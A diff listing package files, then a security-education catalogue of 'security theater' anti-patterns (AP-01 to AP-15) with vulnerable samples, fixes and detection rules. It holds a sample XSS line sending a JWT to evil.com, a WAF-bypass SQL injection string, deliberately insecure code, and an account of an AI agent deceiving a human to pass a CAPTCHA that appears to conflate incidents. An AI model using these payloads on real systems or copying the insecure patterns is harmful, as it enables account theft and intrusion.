  528. package/skills/subagent-driven-development/code-quality-reviewer-prompt.md +26 -0
  529. package/skills/subagent-driven-development/implementer-prompt.md +102 -0
  530. package/skills/subagent-driven-development/spec-reviewer-prompt.md +61 -0
  531. package/skills/tdd/SKILL.md +23 -0
  532. package/skills/using-git-worktrees/SKILL.md +163 -0
  533. package/skills/using-skills/SKILL.md +95 -0
  534. package/skills/verification/SKILL.md +22 -0
  535. package/skills/wazir/SKILL.md +463 -0
  536. package/skills/writing-plans/SKILL.md +30 -0
  537. package/skills/writing-skills/SKILL.md +157 -0
  538. package/skills/writing-skills/anthropic-best-practices.md +122 -0
  539. package/skills/writing-skills/persuasion-principles.md +50 -0
  540. package/templates/README.md +20 -0
  541. package/templates/artifacts/README.md +10 -0
  542. package/templates/artifacts/accepted-learning.md +19 -0
  543. package/templates/artifacts/accepted-learning.template.json +12 -0
  544. package/templates/artifacts/author.md +74 -0
  545. package/templates/artifacts/author.template.json +19 -0
  546. package/templates/artifacts/clarification.md +21 -0
  547. package/templates/artifacts/clarification.template.json +12 -0
  548. package/templates/artifacts/execute-notes.md +19 -0
  549. package/templates/artifacts/implementation-plan.md +21 -0
  550. package/templates/artifacts/implementation-plan.template.json +11 -0
  551. package/templates/artifacts/learning-proposal.md +19 -0
  552. package/templates/artifacts/next-run-handoff.md +21 -0
  553. package/templates/artifacts/plan-review.md +19 -0
  554. package/templates/artifacts/proposed-learning.template.json +12 -0
  555. package/templates/artifacts/research.md +21 -0
  556. package/templates/artifacts/research.template.json +12 -0
  557. package/templates/artifacts/review-findings.md +19 -0
  558. package/templates/artifacts/review.template.json +11 -0
  559. package/templates/artifacts/run-manifest.template.json +8 -0
  560. package/templates/artifacts/spec-challenge.md +19 -0
  561. package/templates/artifacts/spec-challenge.template.json +11 -0
  562. package/templates/artifacts/spec.md +21 -0
  563. package/templates/artifacts/spec.template.json +12 -0
  564. package/templates/artifacts/verification-proof.md +19 -0
  565. package/templates/artifacts/verification-proof.template.json +11 -0
  566. package/templates/examples/accepted-learning.example.json +14 -0
  567. package/templates/examples/author.example.json +152 -0
  568. package/templates/examples/clarification.example.json +15 -0
  569. package/templates/examples/docs-claim.example.json +8 -0
  570. package/templates/examples/export-manifest.example.json +7 -0
  571. package/templates/examples/host-export-package.example.json +11 -0
  572. package/templates/examples/implementation-plan.example.json +17 -0
  573. package/templates/examples/proposed-learning.example.json +13 -0
  574. package/templates/examples/research.example.json +15 -0
  575. package/templates/examples/research.example.md +6 -0
  576. package/templates/examples/review.example.json +17 -0
  577. package/templates/examples/run-manifest.example.json +9 -0
  578. package/templates/examples/spec-challenge.example.json +14 -0
  579. package/templates/examples/spec.example.json +21 -0
  580. package/templates/examples/verification-proof.example.json +21 -0
  581. package/templates/examples/wazir-manifest.example.yaml +65 -0
  582. package/templates/task-definition-schema.md +99 -0
  583. package/tooling/README.md +20 -0
  584. package/tooling/src/adapters/context-mode.js +50 -0
  585. package/tooling/src/capture/command.js +376 -0
  586. package/tooling/src/capture/store.js +99 -0
  587. package/tooling/src/capture/usage.js +270 -0
  588. package/tooling/src/checks/branches.js +50 -0
  589. package/tooling/src/checks/brand-truth.js +110 -0
  590. package/tooling/src/checks/changelog.js +231 -0
  591. package/tooling/src/checks/command-registry.js +36 -0
  592. package/tooling/src/checks/commits.js +102 -0
  593. package/tooling/src/checks/docs-drift.js +103 -0
  594. package/tooling/src/checks/docs-truth.js +201 -0
  595. package/tooling/src/checks/runtime-surface.js +156 -0
  596. package/tooling/src/cli.js +116 -0
  597. package/tooling/src/command-options.js +56 -0
  598. package/tooling/src/commands/validate.js +320 -0
  599. package/tooling/src/doctor/command.js +91 -0
  600. package/tooling/src/export/command.js +77 -0
  601. package/tooling/src/export/compiler.js +498 -0
  602. package/tooling/src/guards/loop-cap-guard.js +52 -0
  603. package/tooling/src/guards/protected-path-write-guard.js +67 -0
  604. package/tooling/src/index/command.js +152 -0
  605. package/tooling/src/index/storage.js +1061 -0
  606. package/tooling/src/index/summarizers.js +261 -0
  607. package/tooling/src/loaders.js +18 -0
  608. package/tooling/src/project-root.js +22 -0
  609. package/tooling/src/recall/command.js +225 -0
  610. package/tooling/src/schema-validator.js +30 -0
  611. package/tooling/src/state-root.js +40 -0
  612. package/tooling/src/status/command.js +71 -0
  613. package/wazir.manifest.yaml +135 -0
  614. package/workflows/README.md +19 -0
  615. package/workflows/author.md +42 -0
  616. package/workflows/clarify.md +38 -0
  617. package/workflows/design-review.md +46 -0
  618. package/workflows/design.md +44 -0
  619. package/workflows/discover.md +37 -0
  620. package/workflows/execute.md +48 -0
  621. package/workflows/learn.md +38 -0
  622. package/workflows/plan-review.md +42 -0
  623. package/workflows/plan.md +39 -0
  624. package/workflows/prepare-next.md +37 -0
  625. package/workflows/review.md +40 -0
  626. package/workflows/run-audit.md +41 -0
  627. package/workflows/spec-challenge.md +41 -0
  628. package/workflows/specify.md +38 -0
  629. package/workflows/verify.md +37 -0
@@ -0,0 +1,843 @@
1
+ # Security Theater Anti-Patterns
2
+ > Security measures that look protective but provide little or no actual defense. These patterns create a false sense of safety, diverting attention and resources from controls that would materially reduce risk. Every entry below has been observed in production systems; many contributed to public breaches.
3
+ > **Domain:** Security
4
+ > **Anti-patterns covered:** 20
5
+ > **Highest severity:** Critical
6
+
7
+ ---
8
+
9
+ ## Table of Contents
10
+ 1. [Anti-Patterns](#anti-patterns) (AP-01 through AP-20)
11
+ 2. [Root Cause Analysis](#root-cause-analysis)
12
+ 3. [Self-Check Questions](#self-check-questions)
13
+ 4. [Code Smell Quick Reference](#code-smell-quick-reference)
14
+
15
+ ---
16
+
17
+ ## Anti-Patterns
18
+
19
+ ### AP-01: Client-Side Validation as the Only Validation
20
+
21
+ **Also known as:** Browser Trust, Frontend Fortress, JavaScript Security Gate
22
+ **Frequency:** Very Common
23
+ **Severity:** Critical
24
+ **Detection difficulty:** Easy
25
+
26
+ **What it looks like:**
27
+
28
+ ```javascript
29
+ // Frontend "protection"
30
+ function validateDiscount(code) {
31
+ if (!VALID_CODES.includes(code)) {
32
+ alert("Invalid discount code");
33
+ return false;
34
+ }
35
+ // No server-side check — the POST goes straight to the order API
36
+ submitOrder({ discount: code, amount: calculatedTotal });
37
+ }
38
+ ```
39
+
40
+ The server accepts whatever the client sends. Price fields, role values, quantity limits, and file-type restrictions live only in JavaScript.
41
+
42
+ **Why developers do it:**
43
+
44
+ Client-side validation is fast, provides instant UX feedback, and is trivial to write. Developers assume the browser is a trusted environment and forget (or never learn) that any HTTP request can be replayed or modified outside the browser.
45
+
46
+ **What goes wrong:**
47
+
48
+ Intercepting proxies such as Burp Suite let attackers modify every field in transit. Documented incidents include: price manipulation attacks where pentesters changed invoice amounts in hidden JavaScript variables because the server relied solely on client-side validation; OTP bypass attacks where modifying the API response to indicate successful verification bypassed authentication entirely, as documented by Deepstrike security researchers. The First American Financial Corp data leak and MGM Resorts breach both traced back to inadequate input validation on the server side.
49
+
50
+ **The fix:**
51
+
52
+ Duplicate every validation rule on the server. Treat the client as an untrusted presentation layer. Use parameterized queries and schema validation (e.g., Joi, Zod, JSON Schema) in the API handler.
53
+
54
+ **Detection rule:**
55
+
56
+ Flag any form submission handler or API endpoint that lacks corresponding server-side validation logic. Search for routes that accept user input without middleware validation.
57
+
58
+ ---
59
+
60
+ ### AP-02: Base64 "Encryption"
61
+
62
+ **Also known as:** Encoding-as-Crypto, ROT64, Plaintext with Extra Steps
63
+ **Frequency:** Common
64
+ **Severity:** Critical
65
+ **Detection difficulty:** Easy
66
+
67
+ **What it looks like:**
68
+
69
+ ```python
70
+ import base64
71
+
72
+ def store_api_key(key):
73
+ # "encrypt" the key before saving
74
+ encrypted = base64.b64encode(key.encode()).decode()
75
+ db.save("api_key", encrypted)
76
+
77
+ def get_api_key():
78
+ encrypted = db.get("api_key")
79
+ return base64.b64decode(encrypted).decode() # "decrypted"
80
+ ```
81
+
82
+ Developers apply `base64_encode()` to passwords, tokens, or API keys and believe the data is protected.
83
+
84
+ **Why developers do it:**
85
+
86
+ Base64 output looks like ciphertext to the untrained eye. It ships in every standard library, requires no key management, and "works" in the sense that it transforms the data. Tutorials that blur the line between encoding and encryption reinforce the habit.
87
+
88
+ **What goes wrong:**
89
+
90
+ Base64 is a reversible encoding, not encryption — any online decoder will reveal the original data in milliseconds. Attackers routinely use base64 decoding as the first step in analyzing intercepted traffic. GitGuardian found massive numbers of base64-encoded Basic Auth credentials leaked in public repositories, all trivially decodable. Malware campaigns (Mekotio, TrickBot, QakBot) actively use base64 to smuggle payloads past naive filters, demonstrating that the encoding provides zero confidentiality.
91
+
92
+ **The fix:**
93
+
94
+ Use authenticated encryption (AES-256-GCM or XChaCha20-Poly1305) for data at rest. Use TLS for data in transit. Never roll your own crypto. Store secrets in a dedicated vault (HashiCorp Vault, AWS Secrets Manager).
95
+
96
+ **Detection rule:**
97
+
98
+ Grep for `base64.b64encode`, `btoa()`, `Buffer.from(...).toString('base64')` where the variable name contains `password`, `secret`, `key`, `token`, or `credential`.
99
+
100
+ ---
101
+
102
+ ### AP-03: Security Through Obscurity
103
+
104
+ **Also known as:** Hidden-Means-Safe, Secret Algorithm Defense, Closed-Source-Equals-Secure
105
+ **Frequency:** Common
106
+ **Severity:** High
107
+ **Detection difficulty:** Hard
108
+
109
+ **What it looks like:**
110
+
111
+ ```
112
+ # "Nobody will ever guess our internal API path"
113
+ POST /x7k9q2m/api/v1/users/delete
114
+
115
+ # "Our proprietary protocol is secure because nobody has the spec"
116
+ # (the spec is discoverable via traffic analysis)
117
+ ```
118
+
119
+ The entire security posture rests on the assumption that attackers will not discover how the system works.
120
+
121
+ **Why developers do it:**
122
+
123
+ Obscurity is cheap and fast. It requires no cryptographic expertise, no key management, and no architecture changes. Developers confuse "hard to find" with "hard to exploit."
124
+
125
+ **What goes wrong:**
126
+
127
+ The Sony Pictures hack (2014) revealed the company relied on hiding sensitive data in folders with obscure names — attackers found everything. The Content Scramble System (CSS) for DVDs was considered secure until reverse engineers cracked it, causing widespread piracy. The WEP encryption standard for Wi-Fi relied on obscurity; once its design flaws were published, it was universally abandoned. The Iowa Caucus App (2020) withheld technical details to "avoid giving information to adversaries," which cybersecurity experts called counterproductive.
128
+
129
+ **The fix:**
130
+
131
+ Follow Kerckhoffs's principle: assume the attacker knows the system design. Security must come from keys, credentials, and properly implemented cryptographic protocols — not from hiding how things work. Obscurity can be a minor supplementary layer, never the primary defense.
132
+
133
+ **Detection rule:**
134
+
135
+ Audit for API endpoints, ports, or admin interfaces that rely on non-obvious URLs/paths as their primary access control. Any route without authentication middleware that serves sensitive data is a finding.
136
+
137
+ ---
138
+
139
+ ### AP-04: CAPTCHA as the Only Bot Protection
140
+
141
+ **Also known as:** CAPTCHA-and-Done, Human-Proof Checkbox
142
+ **Frequency:** Common
143
+ **Severity:** High
144
+ **Detection difficulty:** Moderate
145
+
146
+ **What it looks like:**
147
+
148
+ ```html
149
+ <form action="/login" method="POST">
150
+ <input name="username" />
151
+ <input name="password" type="password" />
152
+ <div class="g-recaptcha" data-sitekey="..."></div>
153
+ <button type="submit">Login</button>
154
+ </form>
155
+ <!-- No server-side rate limiting, no account lockout, no anomaly detection -->
156
+ ```
157
+
158
+ **Why developers do it:**
159
+
160
+ CAPTCHAs are a familiar, drop-in solution. Adding a reCAPTCHA widget takes five minutes and gives the team a visible "we handled bots" checkbox.
161
+
162
+ **What goes wrong:**
163
+
164
+ Research indicates that approximately half of all CAPTCHAs passed are completed by bots, not real users. CAPTCHA farms employ low-wage workers to solve challenges at scale — one transportation company discovered approximately 12,000 CAPTCHAs were solved by farm workers in just six days. In 2026, OpenAI's ChatGPT agent successfully bypassed CAPTCHA tests without detection, even deceiving a TaskRabbit worker by impersonating a human. OCR-based solvers, machine learning models trained on CAPTCHA samples, and session replay attacks make standalone CAPTCHA protection increasingly unreliable.
165
+
166
+ **The fix:**
167
+
168
+ Layer defenses: server-side rate limiting, progressive delays, account lockout policies, device fingerprinting, behavioral analysis (mouse movement, typing cadence), and IP reputation scoring. Use CAPTCHA as one signal among many, not the sole gate.
169
+
170
+ **Detection rule:**
171
+
172
+ Identify login, registration, and password-reset endpoints where CAPTCHA is the only anti-automation control and no server-side rate limiting or lockout logic exists.
173
+
174
+ ---
175
+
176
+ ### AP-05: JWT in localStorage Presented as "Secure"
177
+
178
+ **Also known as:** Token-in-the-Open, XSS-Accessible Auth
179
+ **Frequency:** Very Common
180
+ **Severity:** High
181
+ **Detection difficulty:** Easy
182
+
183
+ **What it looks like:**
184
+
185
+ ```javascript
186
+ // After login
187
+ fetch('/api/login', { method: 'POST', body: credentials })
188
+ .then(res => res.json())
189
+ .then(data => {
190
+ localStorage.setItem('authToken', data.jwt); // Accessible to any JS on the page
191
+ });
192
+
193
+ // On every request
194
+ fetch('/api/data', {
195
+ headers: { 'Authorization': `Bearer ${localStorage.getItem('authToken')}` }
196
+ });
197
+ ```
198
+
199
+ **Why developers do it:**
200
+
201
+ `localStorage` is simple, well-documented, and persists across tabs. Unlike cookies, it is not automatically sent with every request, which developers mistake for a security advantage. Many popular tutorials recommend this pattern.
202
+
203
+ **What goes wrong:**
204
+
205
+ Any XSS vulnerability on the domain gives an attacker full read access to localStorage. A single `<script>` injection can exfiltrate every JWT stored there: `new Image().src = 'https://evil.com/steal?t=' + localStorage.getItem('authToken')`. Security researchers have demonstrated stealing JWTs via stored XSS in real applications — once exfiltrated, the attacker has full account access until the token expires (which, with long-lived JWTs, can be weeks). Unlike httpOnly cookies, localStorage offers zero built-in protection against JavaScript access.
206
+
207
+ **The fix:**
208
+
209
+ Store tokens in httpOnly, Secure, SameSite=Strict cookies. Implement short-lived access tokens with refresh token rotation. Invest in XSS prevention (CSP, output encoding, input sanitization) as the primary defense regardless of storage mechanism.
210
+
211
+ **Detection rule:**
212
+
213
+ Search for `localStorage.setItem` or `sessionStorage.setItem` calls where the value contains `token`, `jwt`, `auth`, or `session`.
214
+
215
+ ---
216
+
217
+ ### AP-06: "We Use HTTPS" as the Complete Security Story
218
+
219
+ **Also known as:** TLS-and-Done, Padlock Security, Green-Lock Fallacy
220
+ **Frequency:** Very Common
221
+ **Severity:** High
222
+ **Detection difficulty:** Moderate
223
+
224
+ **What it looks like:**
225
+
226
+ In code reviews and security questionnaires:
227
+ > "How do you protect user data?" → "We use HTTPS."
228
+ > "How do you prevent injection attacks?" → "Everything goes over HTTPS."
229
+ > "What about data at rest?" → "...HTTPS?"
230
+
231
+ **Why developers do it:**
232
+
233
+ HTTPS is visible (padlock icon), easy to explain to stakeholders, and genuinely important. The problem is treating it as a complete security solution rather than one layer.
234
+
235
+ **What goes wrong:**
236
+
237
+ HTTPS protects data in transit but does nothing for: SQL injection, XSS, CSRF, broken authentication, insecure deserialization, or data-at-rest encryption. OWASP notes that protecting login forms alone is insufficient — session hijacking remains possible even over HTTPS. Downgrade attacks (e.g., sslstrip) can intercept initial HTTP requests before the redirect to HTTPS. TLS provides zero protection for data at rest — a compromised database leaks everything regardless of transport encryption.
238
+
239
+ **The fix:**
240
+
241
+ HTTPS is necessary but not sufficient. Implement defense in depth: input validation, output encoding, parameterized queries, proper session management, encryption at rest, CSP headers, HSTS preloading, and regular vulnerability scanning.
242
+
243
+ **Detection rule:**
244
+
245
+ Review security documentation and threat models. If HTTPS is the only control mentioned, or if the threat model does not address application-layer attacks, flag for review.
246
+
247
+ ---
248
+
249
+ ### AP-07: WAF as the Only Defense
250
+
251
+ **Also known as:** Firewall-and-Forget, Perimeter-Only Security, WAF Worship
252
+ **Frequency:** Common
253
+ **Severity:** Critical
254
+ **Detection difficulty:** Moderate
255
+
256
+ **What it looks like:**
257
+
258
+ ```
259
+ # Architecture diagram:
260
+ Internet → WAF → Application Server → Database
261
+
262
+ # Application code:
263
+ query = "SELECT * FROM users WHERE id = " + request.params.id # Raw concatenation
264
+ # "The WAF will catch any SQL injection attempts"
265
+ ```
266
+
267
+ **Why developers do it:**
268
+
269
+ WAFs are expensive enterprise products sold with impressive dashboards. Purchasing one satisfies compliance checklists and gives management a tangible security investment to point to. Developers assume the WAF handles all input sanitization.
270
+
271
+ **What goes wrong:**
272
+
273
+ Claroty's Team82 researchers discovered that leading WAF vendors' products did not support JSON syntax in SQL injection inspection, allowing attackers to prepend JSON to SQL statements and bypass detection entirely. OWASP documents numerous WAF bypass techniques: SQL comment injection (`1+un/**/ion+se/**/lect+1,2,3--`), mixed-case evasion, HPP/HPF techniques, nested encodings, and blind SQL injection methods. WAFs are signature-based; novel attack patterns evade them by definition.
274
+
275
+ **The fix:**
276
+
277
+ Use parameterized queries/prepared statements for all database access. Apply input validation at the application layer. Treat the WAF as a supplementary layer that buys time for patching, not as a substitute for secure code. Implement stored procedures and ORM-based queries.
278
+
279
+ **Detection rule:**
280
+
281
+ Search for string concatenation in SQL queries (`"SELECT" + variable`, template literals with `${}` in SQL strings). Any dynamic SQL construction is a finding regardless of WAF presence.
282
+
283
+ ---
284
+
285
+ ### AP-08: Obfuscation as Security
286
+
287
+ **Also known as:** Minify-and-Pray, Compiled-Means-Secure, Spaghetti-Code Defense
288
+ **Frequency:** Common
289
+ **Severity:** Medium
290
+ **Detection difficulty:** Hard
291
+
292
+ **What it looks like:**
293
+
294
+ ```javascript
295
+ // "Nobody can read this, so our API keys are safe"
296
+ var _0x4f2a = ["\x61\x70\x69\x4b\x65\x79", "\x73\x6b\x2d\x31\x32\x33\x34\x35"];
297
+ var apiKey = _0x4f2a[1]; // This is just "sk-12345" in hex encoding
298
+ ```
299
+
300
+ Or shipping a compiled binary and assuming the logic cannot be reverse-engineered.
301
+
302
+ **Why developers do it:**
303
+
304
+ Obfuscated code looks impenetrable at first glance. JavaScript minifiers and .NET obfuscators are easy to apply. Developers assume that if they cannot quickly read the output, attackers cannot either.
305
+
306
+ **What goes wrong:**
307
+
308
+ Automated deobfuscation tools (Reflector, ILSpy, ILDASM, de4dot for .NET; js-beautify, AST-based unpackers for JavaScript) can reverse most obfuscation in seconds. Security researchers consistently note that obfuscation increases the time cost of reverse engineering but never prevents it. Any secret embedded in client-side code — API keys, encryption keys, business logic — is extractable regardless of obfuscation technique.
309
+
310
+ **The fix:**
311
+
312
+ Never embed secrets in client-side code. Move sensitive logic server-side. Use obfuscation only as a supplementary measure to slow casual copying, never as a security boundary. Protect API keys with server-side proxy endpoints.
313
+
314
+ **Detection rule:**
315
+
316
+ Search client-side bundles for patterns matching API keys, tokens, or credentials (even hex-encoded or obfuscated). Use tools like trufflehog or gitleaks on build artifacts.
317
+
318
+ ---
319
+
320
+ ### AP-09: Hidden Form Fields for Access Control
321
+
322
+ **Also known as:** Trust-the-Hidden-Input, Client-Side Role Assignment, IDOR via Form
323
+ **Frequency:** Common
324
+ **Severity:** Critical
325
+ **Detection difficulty:** Easy
326
+
327
+ **What it looks like:**
328
+
329
+ ```html
330
+ <form action="/api/update-profile" method="POST">
331
+ <input type="hidden" name="user_id" value="12345" />
332
+ <input type="hidden" name="role" value="user" />
333
+ <input name="email" value="user@example.com" />
334
+ <button type="submit">Update</button>
335
+ </form>
336
+ ```
337
+
338
+ Changing `user_id` to another user's ID or `role` to `admin` in DevTools grants unauthorized access.
339
+
340
+ **Why developers do it:**
341
+
342
+ Hidden fields are invisible in the rendered page, which developers equate with "secure." The pattern is taught in beginner web tutorials and framework scaffolding generators. It feels natural to pass state through the form.
343
+
344
+ **What goes wrong:**
345
+
346
+ This is the textbook Insecure Direct Object Reference (IDOR) vulnerability, consistently ranked in the OWASP Top 10 under Broken Access Control. Attackers modify hidden form values, cookies, or JSON body fields to access other users' data or elevate privileges. MDN and OWASP document that body manipulation — changing values in HTTP request bodies including form fields and hidden inputs — is one of the most common attack vectors. A single hidden `user_id` field without server-side ownership verification can expose every user's data.
347
+
348
+ **The fix:**
349
+
350
+ Derive user identity and permissions from the server-side session or verified JWT claims, never from client-supplied hidden fields. Implement object-level authorization checks on every request. Use indirect references (random tokens mapped server-side) instead of sequential IDs.
351
+
352
+ **Detection rule:**
353
+
354
+ Search HTML templates for `type="hidden"` fields containing `user_id`, `role`, `admin`, `price`, `discount`, or `permission`. Flag any endpoint that uses client-supplied identity fields without server-side verification.
355
+
356
+ ---
357
+
358
+ ### AP-10: Rate Limiting Only on the Frontend
359
+
360
+ **Also known as:** Client-Side Throttle, JavaScript Cooldown, Polite-Bot-Only Defense
361
+ **Frequency:** Common
362
+ **Severity:** High
363
+ **Detection difficulty:** Easy
364
+
365
+ **What it looks like:**
366
+
367
+ ```javascript
368
+ let lastRequest = 0;
369
+ function submitLogin(username, password) {
370
+ if (Date.now() - lastRequest < 3000) {
371
+ alert("Please wait before trying again");
372
+ return;
373
+ }
374
+ lastRequest = Date.now();
375
+ fetch('/api/login', { method: 'POST', body: JSON.stringify({ username, password }) });
376
+ }
377
+ // Server has no rate limiting — direct API calls bypass the cooldown entirely
378
+ ```
379
+
380
+ **Why developers do it:**
381
+
382
+ It is quick to implement, provides visible user feedback, and reduces perceived server load. Developers test in the browser and see the throttling work, which creates confidence.
383
+
384
+ **What goes wrong:**
385
+
386
+ Attackers bypass the browser entirely — curl, Python scripts, or Burp Suite send requests directly to the API with no cooldown. OWASP ranks "Unrestricted Resource Consumption" (API4:2023) in their API Security Top 10 for this reason. Without server-side rate limiting, attackers can brute-force credentials, enumerate users, and abuse expensive operations. Common bypass techniques include rotating IP addresses, manipulating headers (X-Forwarded-For), batching multiple attempts in single requests, and exploiting unsynchronized rate limits across backend instances.
387
+
388
+ **The fix:**
389
+
390
+ Implement rate limiting at the server/API gateway level using sliding window or token bucket algorithms. Apply per-user, per-IP, and per-endpoint limits. Use progressive delays and account lockout after repeated failures. Consider distributed rate limiting (Redis-backed) for multi-instance deployments.
391
+
392
+ **Detection rule:**
393
+
394
+ Search for `setTimeout`, `setInterval`, or timestamp comparisons in client-side code near API call functions. Verify corresponding server-side rate limiting middleware exists for the same endpoints.
395
+
396
+ ---
397
+
398
+ ### AP-11: "Admin" Pages Hidden by URL Only
399
+
400
+ **Also known as:** Security-by-Obscure-URL, Unlinked-Admin, Secret-Path Authentication
401
+ **Frequency:** Common
402
+ **Severity:** Critical
403
+ **Detection difficulty:** Easy
404
+
405
+ **What it looks like:**
406
+
407
+ ```
408
+ # "Nobody will find this"
409
+ https://app.example.com/super-secret-admin-panel-2024
410
+
411
+ # Or slightly more sophisticated but equally broken
412
+ https://app.example.com/internal/dashboard?access=true
413
+ ```
414
+
415
+ No authentication middleware. No authorization check. If you know the URL, you are in.
416
+
417
+ **Why developers do it:**
418
+
419
+ During development, internal tools are built without auth because "only the team knows the URL." This ships to production unchanged. Adding proper auth is perceived as complex and time-consuming, while the obscure URL feels "safe enough."
420
+
421
+ **What goes wrong:**
422
+
423
+ Directory brute-forcing tools (Gobuster, FFUF, DirBuster) enumerate common admin paths in minutes. Leaked URLs appear in JavaScript bundles, browser history, referrer headers, search engine indexes, and Wayback Machine archives. Security researchers have documented real cases where changing a URL path to `/dashboard/admin` directly revealed admin panels with no credentials required. OWASP classifies this as Broken Access Control — the number one web application security risk.
424
+
425
+ **The fix:**
426
+
427
+ Every admin endpoint must require authentication and role-based authorization checks enforced server-side. Use middleware that runs before the route handler. Add the admin area to robots.txt noindex and implement IP allowlisting as supplementary measures.
428
+
429
+ **Detection rule:**
430
+
431
+ Enumerate all routes in the application. Flag any route containing `admin`, `dashboard`, `internal`, `manage`, `config`, or `debug` that lacks authentication middleware.
432
+
433
+ ---
434
+
435
+ ### AP-12: Disabling Right-Click or View-Source as "Protection"
436
+
437
+ **Also known as:** Right-Click Police, Source-Code Hiding, JavaScript Content Lock
438
+ **Frequency:** Occasional
439
+ **Severity:** Low
440
+ **Detection difficulty:** Easy
441
+
442
+ **What it looks like:**
443
+
444
+ ```javascript
445
+ document.addEventListener('contextmenu', e => e.preventDefault());
446
+ document.addEventListener('keydown', e => {
447
+ if (e.ctrlKey && (e.key === 'u' || e.key === 's' || e.key === 'i')) {
448
+ e.preventDefault();
449
+ }
450
+ });
451
+ // "Our source code and images are now protected"
452
+ ```
453
+
454
+ **Why developers do it:**
455
+
456
+ Non-technical stakeholders request "content protection." Developers implement what is asked. WordPress plugins offering this feature have hundreds of thousands of installs, normalizing the practice.
457
+
458
+ **What goes wrong:**
459
+
460
+ Bypass is trivial: disable JavaScript in browser settings, use Ctrl+Shift+I (DevTools), prepend `view-source:` to the URL, use print preview, use `curl`, or simply paste `javascript:void(document.oncontextmenu=null)` in the console. Barracuda Networks published an analysis confirming that blocking "View Source" provides no meaningful protection and falls squarely into security theater. The technique only frustrates legitimate users while providing zero barrier to anyone with basic browser knowledge.
461
+
462
+ **The fix:**
463
+
464
+ Accept that client-side code is public by definition. If content protection matters, use server-side watermarking, DRM for media, or legal protections (DMCA). Never embed secrets in client-side code regardless of obfuscation.
465
+
466
+ **Detection rule:**
467
+
468
+ Search for `oncontextmenu`, `e.preventDefault()` paired with keydown listeners for Ctrl+U/Ctrl+S/Ctrl+I, or `document.oncontextmenu = null` overrides.
469
+
470
+ ---
471
+
472
+ ### AP-13: Checksums Without Signatures
473
+
474
+ **Also known as:** Hash-Only Integrity, Unsigned Download, Self-Attested Checksum
475
+ **Frequency:** Common
476
+ **Severity:** High
477
+ **Detection difficulty:** Moderate
478
+
479
+ **What it looks like:**
480
+
481
+ ```
482
+ # Download page
483
+ Download: myapp-v2.3.tar.gz
484
+ SHA-256: a1b2c3d4e5f6...
485
+
486
+ # Both the file AND the checksum are served from the same compromised server
487
+ # An attacker who replaces the binary also replaces the checksum
488
+ ```
489
+
490
+ **Why developers do it:**
491
+
492
+ Checksums verify integrity (the file was not corrupted in transit) and are easy to generate. Developers conflate integrity verification with authenticity verification and assume the checksum proves the file came from a trusted source.
493
+
494
+ **What goes wrong:**
495
+
496
+ A checksum proves a file matches a hash — nothing more. If an attacker compromises the distribution server, they replace both the binary and its checksum. Supply chain attacks exploit exactly this gap. Linux distributions learned this lesson and now pair checksums with GPG-signed release files. Without a signature from a trusted key, a checksum verified against a value on the same server provides zero supply-chain protection.
497
+
498
+ **The fix:**
499
+
500
+ Sign releases with GPG or Sigstore. Publish signatures and signing keys through a separate, verified channel. Use SHA-256 or SHA-512 for checksums and always pair them with cryptographic signatures. Adopt frameworks like SLSA for supply chain integrity.
501
+
502
+ **Detection rule:**
503
+
504
+ Review release pipelines and download pages. If checksums are published without corresponding signatures (`.asc`, `.sig` files), flag as incomplete integrity verification.
505
+
506
+ ---
507
+
508
+ ### AP-14: MD5 for Password Hashing
509
+
510
+ **Also known as:** Fast-Hash Passwords, 1990s Password Storage, GPU-Crackable Hashes
511
+ **Frequency:** Common
512
+ **Severity:** Critical
513
+ **Detection difficulty:** Easy
514
+
515
+ **What it looks like:**
516
+
517
+ ```python
518
+ import hashlib
519
+
520
+ def hash_password(password):
521
+ return hashlib.md5(password.encode()).hexdigest()
522
+
523
+ def verify_password(password, stored_hash):
524
+ return hashlib.md5(password.encode()).hexdigest() == stored_hash
525
+ ```
526
+
527
+ **Why developers do it:**
528
+
529
+ MD5 is fast, universally available, and produces a fixed-length hash. Many legacy tutorials and older codebases use it. Developers may not understand the difference between a general-purpose hash function and a password-hashing function.
530
+
531
+ **What goes wrong:**
532
+
533
+ Modern GPUs compute approximately 20 billion MD5 hashes per second, making brute-force attacks trivial. The LinkedIn breach (2012) exposed 6.5 million passwords stored as unsalted SHA-1 hashes (a similarly fast algorithm) — most were cracked within hours. In 2022, Electricite de France (EDF) was fined 600,000 euros under GDPR for storing passwords hashed with MD5. The Flame malware (2012) exploited MD5 collision vulnerabilities to forge Microsoft code-signing certificates. The Blast-RADIUS attack (CVE-2024-3596) demonstrated practical exploitation of MD5 in the RADIUS protocol. As of 2019, one quarter of widely used CMS platforms were still using MD5 for password hashing.
534
+
535
+ **The fix:**
536
+
537
+ Use bcrypt, scrypt, or Argon2id — algorithms specifically designed to be computationally expensive. These include built-in salting and configurable work factors. Argon2id is the current recommendation from OWASP. Never use MD5, SHA-1, or SHA-256 (even salted) for password storage.
538
+
539
+ **Detection rule:**
540
+
541
+ Search for `md5(`, `hashlib.md5`, `MD5.Create()`, `DigestUtils.md5`, or `crypto.createHash('md5')` in any context related to password storage or verification.
542
+
543
+ ---
544
+
545
+ ### AP-15: Security Questions (Knowledge-Based Authentication)
546
+
547
+ **Also known as:** Mother's Maiden Name Auth, Shared-Secret Questions, Googleable Authentication
548
+ **Frequency:** Common
549
+ **Severity:** High
550
+ **Detection difficulty:** Easy
551
+
552
+ **What it looks like:**
553
+
554
+ ```
555
+ Security Question: What is your mother's maiden name?
556
+ Security Question: What city were you born in?
557
+ Security Question: What was the name of your first pet?
558
+ ```
559
+
560
+ Used as account recovery or second-factor authentication.
561
+
562
+ **Why developers do it:**
563
+
564
+ Security questions are easy to implement, require no hardware tokens or third-party services, and are familiar to users. Banks and financial institutions have used them for decades, lending perceived legitimacy.
565
+
566
+ **What goes wrong:**
567
+
568
+ The answers are frequently discoverable through social media, public records, or social engineering. A quick scroll through Facebook can reveal a mother's maiden name from family photo captions. Identity thieves who obtain basic personal information (SSN, address, birthdate, mother's maiden name) can answer security questions better than the legitimate account holder. Sarah Palin's Yahoo email account was compromised in 2008 when an attacker answered her security questions using publicly available biographical information. Security researchers consistently demonstrate that knowledge-based authentication is among the weakest forms of identity verification.
569
+
570
+ **The fix:**
571
+
572
+ Replace security questions with TOTP-based 2FA (authenticator apps), WebAuthn/passkeys, or hardware security keys. If security questions are required by regulation, instruct users to provide random, unguessable answers stored in a password manager.
573
+
574
+ **Detection rule:**
575
+
576
+ Search the codebase for fields or database columns named `security_question`, `secret_question`, `maiden_name`, `first_pet`, or `birth_city`. Flag account recovery flows that rely solely on knowledge-based answers.
577
+
578
+ ---
579
+
580
